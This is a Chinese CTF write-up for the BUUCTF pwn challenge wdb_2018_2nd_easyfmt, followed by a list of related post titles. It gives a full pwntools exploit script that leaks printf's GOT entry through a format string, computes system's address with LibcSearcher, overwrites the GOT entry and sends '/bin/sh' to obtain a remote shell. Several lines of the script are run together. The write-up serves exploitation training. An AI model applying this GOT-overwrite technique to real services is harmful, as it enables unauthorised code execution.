[BUUCTF-pwn]——wdb_2018_2nd_easyfmt

一个简单的格式化字符串利用问题

  • 泄露出got表地址,找到libc基地址
  • 寻找system的实际地址
  • 将printf_got修改为system的地址
  • 写入”/bin/sh"

exploit

from pwn import *
from LibcSearcher import *
context.log_level = "debug"p = remote('node3.buuoj.cn',25125)
#p = process("./wdb_2018_2nd_easyfmt")
elf = ELF("./wdb_2018_2nd_easyfmt")
printf_got = elf.got["printf"]payload1 = p32(printf_got) + "%6$s"
p.sendlineafter("repeater?\n",payload1)
p.recv(4)
printf_addr = u32(p.recv(4))
print("printf_addr ---> ",hex(printf_addr))libc = LibcSearcher("printf", printf_addr)
libcbase = printf_addr - libc.dump("printf")
system = libcbase + libc.dump("system")payload = fmtstr_payload(6,{printf_got: system})
p.sendline(payload)p.sendline("/bin/sh\x00")
p.interactive()

[BUUCTF-pwn]——wdb_2018_2nd_easyfmt相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. mysql返回#1114 – The table ‘xxxx’is full解决方法
  2. 如何从S4HANA的销售订单找到对应的生产订单
  3. adas功能受限_高级驾驶辅助系统(ADAS)的主要功能有哪些?
  4. Java生鲜电商平台-SpringCloud微服务架构中网络请求性能优化与源码解析
  5. 服务端架构中的“网关服务器”
  6. php新窗口打开链接,wordpress如何设置在新窗口打开链接
  7. OOP的几个不常用的方法
  8. Java 容器源码分析之 TreeMap
  9. cvpr 深度估计_北京航空航天大学团队在CVPR2017-4D光场深度估计竞赛中夺冠
  10. android 手机头提示消息,正确的手机头部声明(android,iphone)
  11. Python 解析百度,搜狗词库
  12. 拼多多36W+的后端面经
  13. CrossApp V1.0.1,新增动画与连接 wifi 功能
  14. 魔兽世界燃烧的远征最新服务器,进驻推荐服务器,享受《燃烧的远征》
  15. 2022年保险从业者要考什么样的证书?RFP、CFP、AFP哪个比较好?
  16. GCC 9.4 编译error: catching polymorphic type ‘class std::bad_alloc’ by value [-Werror=catch-value=]
  17. 河北pc104计算机,便携PC104军用全加固计算机 ZHK-RC212
  18. 梯度下降算法和正规方程组学习笔记
  19. 晶振与晶体的参数详解
  20. CWE-416: Use After Free(释放后使用)

热门文章

  1. 【数据结构与算法】之深入解析“二叉树的锯齿形层序遍历”的求解思路与算法示例
  2. 【数据结构与算法】之深入解析“复制带随机指针的链表”的求解思路与算法示例
  3. Swift之深入解析访问控制权限
  4. 深度理解特斯拉自动驾驶解决方案 2:向量空间
  5. Vue - Markdown编辑器
  6. 彻底掌握动态规划,第一节
  7. 14. Longest Common Prefix
  8. Ubuntu + pip + Python3 + CPU版本 PaddlePaddle 安装
  9. 【STM32】随机数发生器相关函数和类型
  10. 【Linux系统编程】fork()函数详解